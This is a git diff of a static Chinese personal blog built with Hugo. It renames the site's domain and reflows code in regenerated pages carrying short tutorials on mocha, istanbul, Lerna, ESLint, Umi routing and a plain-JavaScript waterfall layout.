+const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(‘chai’).expect
@@ -32,7 +21,7 @@
 –invert ：只执行不符合条件的测试脚本，要搭配–grep使用
 如果要测试ES6，需要转码
 npm install babel-core babel-preset-es2015 –save-dev
-.babelrc...</p></div><footer class=entry-footer><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://xiaochenabc123.github.io/posts/114/></a></article><article class=post-entry><header class=entry-header><h2>简单使用istanbul代码覆盖率工具</h2></header><div class=entry-content><p>代码覆盖率：是否所有代码都被执行或者调用
+.babelrc...</p></div><footer class=entry-footer><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://chenjunlinabc.github.io/posts/114/></a></article><article class=post-entry><header class=entry-header><h2>简单使用istanbul代码覆盖率工具</h2></header><div class=entry-content><p>代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
 安装
@@ -42,7 +31,7 @@
 检查程序覆盖率是否达到某个值
 istanbul check-coverage –statement 60 –branch -5 –function 100
 在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹
-在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=entry-footer><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://xiaochenabc123.github.io/posts/113/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Lerna多包管理工具</h2></header><div class=entry-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
+在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=entry-footer><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://chenjunlinabc.github.io/posts/113/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Lerna多包管理工具</h2></header><div class=entry-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install –global lerna
 新建git仓库（初始化）
@@ -66,7 +55,7 @@
 注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件
 lerna有两个管理模式，分别是固定模式（默认模式）和独立模式
 固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号
-独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=entry-footer><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://xiaochenabc123.github.io/posts/112/></a></article><article class=post-entry><header class=entry-header><h2>简单使用ESlint代码风格校验工具</h2></header><div class=entry-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
+独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=entry-footer><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://chenjunlinabc.github.io/posts/112/></a></article><article class=post-entry><header class=entry-header><h2>简单使用ESlint代码风格校验工具</h2></header><div class=entry-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint –save-dev
 或者全局安装
@@ -82,7 +71,7 @@
 “off” or 0 ：关闭规则
 “warn” or 1 ：将规则视为一个警告
 “error” or 2 ：将规则视为一个错误
-可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=entry-footer><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://xiaochenabc123.github.io/posts/111/></a></article><article class=post-entry><header class=entry-header><h2>Umi框架学习笔记</h2></header><div class=entry-content><p>Umi是一款前端应用框架
+可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=entry-footer><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://chenjunlinabc.github.io/posts/111/></a></article><article class=post-entry><header class=entry-header><h2>Umi框架学习笔记</h2></header><div class=entry-content><p>Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本>=10.13
 yarn create @umijs/umi-app
@@ -93,39 +82,15 @@
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-"routes": [
-{
-"path": "/",
-"component": require('@/pages/index').default,
-"exact": true
-},{
-"path": "/admin",
-"component": require('@/pages/admin').default,
-"exact": true
-}
-]
-组件文件放在src\pages下
+"routes": [ { "path": "/", "component": require('@/pages/index').default, "exact": true },{ "path": "/admin", "component": require('@/pages/admin').default, "exact": true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(’@/pages/xxx’)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-"routes": [
-{
-"path": "/",
-"redirect": '/admin',
-},{
-"path": "/admin",
-"component": require('@/pages/admin').default,
-routes: [
-{ path: '/admin/archives', redirect: '/' },
-{ path: '/admin/category', component: 'category' },
-]
-}
-]
-redirect是跳转路由，当访问/的时候，跳转到/admin
+"routes": [ { "path": "/", "redirect": '/admin', },{ "path": "/admin", "component": require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
-注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ....</p></div><footer class=entry-footer><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://xiaochenabc123.github.io/posts/110/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/8/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/10/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ....</p></div><footer class=entry-footer><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://chenjunlinabc.github.io/posts/110/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/8/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/10/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/10/index.html b/posts/10/index.html
index 768844ca..6f9ee3f4 100644
--- a/posts/10/index.html
+++ b/posts/10/index.html
@@ -11,8 +11,8 @@
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName('imgs');
function datamain(){
var datawidtha = window.innerWidth;
var datawidthb = Math.floor(data[0].offsetWidth);
var dataab = Math.floor(datawidtha/datawidthb);
var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
var arr = [];
for(var i=0;i<data.length;i++){
if(i<dataab){
data[i].style.top = 0;
data[i].style.left = (datawidthb+ints) * i + &#34;px&#34;;
arr.push(data[i].offsetHeight);
}else{
var datamin = arr[0];
var index = 0;
for(var a = 0; a<arr."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/10/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="原生js实现瀑布流布局"><meta property="og:description" content="瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
+var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i<data.length;i++){ if(i<dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + &#34;px&#34;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a<arr."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/10/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="原生js实现瀑布流布局"><meta property="og:description" content="瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
 获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight
@@ -25,7 +25,7 @@
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName('imgs');
function datamain(){
var datawidtha = window.innerWidth;
var datawidthb = Math.floor(data[0].offsetWidth);
var dataab = Math.floor(datawidtha/datawidthb);
var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
var arr = [];
for(var i=0;i<data.length;i++){
if(i<dataab){
data[i].style.top = 0;
data[i].style.left = (datawidthb+ints) * i + &#34;px&#34;;
arr.push(data[i].offsetHeight);
}else{
var datamin = arr[0];
var index = 0;
for(var a = 0; a<arr."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/10/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:14:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:14:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="原生js实现瀑布流布局"><meta name=twitter:description content="瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
+var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i<data.length;i++){ if(i<dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + &#34;px&#34;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a<arr."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/10/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:14:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:14:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="原生js实现瀑布流布局"><meta name=twitter:description content="瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
 获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight
@@ -38,40 +38,40 @@
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName('imgs');
function datamain(){
var datawidtha = window.innerWidth;
var datawidthb = Math.floor(data[0].offsetWidth);
var dataab = Math.floor(datawidtha/datawidthb);
var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
var arr = [];
for(var i=0;i<data.length;i++){
if(i<dataab){
data[i].style.top = 0;
data[i].style.left = (datawidthb+ints) * i + &#34;px&#34;;
arr.push(data[i].offsetHeight);
}else{
var datamin = arr[0];
var index = 0;
for(var a = 0; a<arr."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"原生js实现瀑布流布局","item":"https://xiaochenabc123.github.io/posts/10/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"原生js实现瀑布流布局","name":"原生js实现瀑布流布局","description":"瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位\n首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度\n获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth\n获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight\n页面宽度：.width，容器宽度：.offsetWidth\n得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度\n遍历全部容器，还需要判断是否到了第二行，i\u0026lt;列数\n而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中\n然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值\n然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度\n因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度\n为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)\n例如：\nvar data = document.getElementsByClassName('imgs');\rfunction datamain(){\rvar datawidtha = window.innerWidth;\rvar datawidthb = Math.floor(data[0].offsetWidth);\rvar dataab = Math.floor(datawidtha/datawidthb);\rvar ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))\rvar arr = [];\rfor(var i=0;i\u0026lt;data.length;i++){\rif(i\u0026lt;dataab){\rdata[i].style.top = 0;\rdata[i].style.left = (datawidthb+ints) * i + \u0026quot;px\u0026quot;;\rarr.push(data[i].offsetHeight);\r}else{\rvar datamin = arr[0];\rvar index = 0;\rfor(var a = 0; a\u0026lt;arr.","keywords":["JavaScript"],"articleBody":"瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位\n首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度\n获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth\n获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight\n页面宽度：.width，容器宽度：.offsetWidth\n得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度\n遍历全部容器，还需要判断是否到了第二行，i\u003c列数\n而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中\n然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值\n然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度\n因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度\n为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)\n例如：\nvar data = document.getElementsByClassName('imgs');\rfunction datamain(){\rvar datawidtha = window.innerWidth;\rvar datawidthb = Math.floor(data[0].offsetWidth);\rvar dataab = Math.floor(datawidtha/datawidthb);\rvar ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))\rvar arr = [];\rfor(var i=0;i","wordCount":"122","inLanguage":"en","datePublished":"2021-06-16T09:14:00Z","dateModified":"2021-06-16T09:14:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/10/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>原生js实现瀑布流布局</h1><div class=post-meta><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e5%8e%9f%e7%94%9fjs%e5%ae%9e%e7%8e%b0%e7%80%91%e5%b8%83%e6%b5%81%e5%b8%83%e5%b1%80.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位</p><p>首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度</p><p>获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth</p><p>获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight</p><p>页面宽度：.width，容器宽度：.offsetWidth</p><p>得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度</p><p>遍历全部容器，还需要判断是否到了第二行，i&lt;列数</p><p>而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中</p><p>然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值</p><p>然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度</p><p>因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度</p><p>为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)</p><p>例如：</p><pre><code>var data = document.getElementsByClassName('imgs');
-function datamain(){
-    var datawidtha = window.innerWidth;
-    var datawidthb = Math.floor(data[0].offsetWidth);
-    var dataab = Math.floor(datawidtha/datawidthb);
-    var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
-    var arr = [];
-    for(var i=0;i&lt;data.length;i++){
-        if(i&lt;dataab){
-            data[i].style.top = 0;
-            data[i].style.left = (datawidthb+ints) * i + &quot;px&quot;;
-            arr.push(data[i].offsetHeight);
-        }else{
-            var datamin = arr[0];
-            var index = 0;
-            for(var a = 0; a&lt;arr.length; a++){
-                if(datamin &gt; arr[a]){
-                    datamin = arr[a];
-                    index = a;
-                }
-            }
-            data[i].style.top = arr[index]+ ints +&quot;px&quot;;
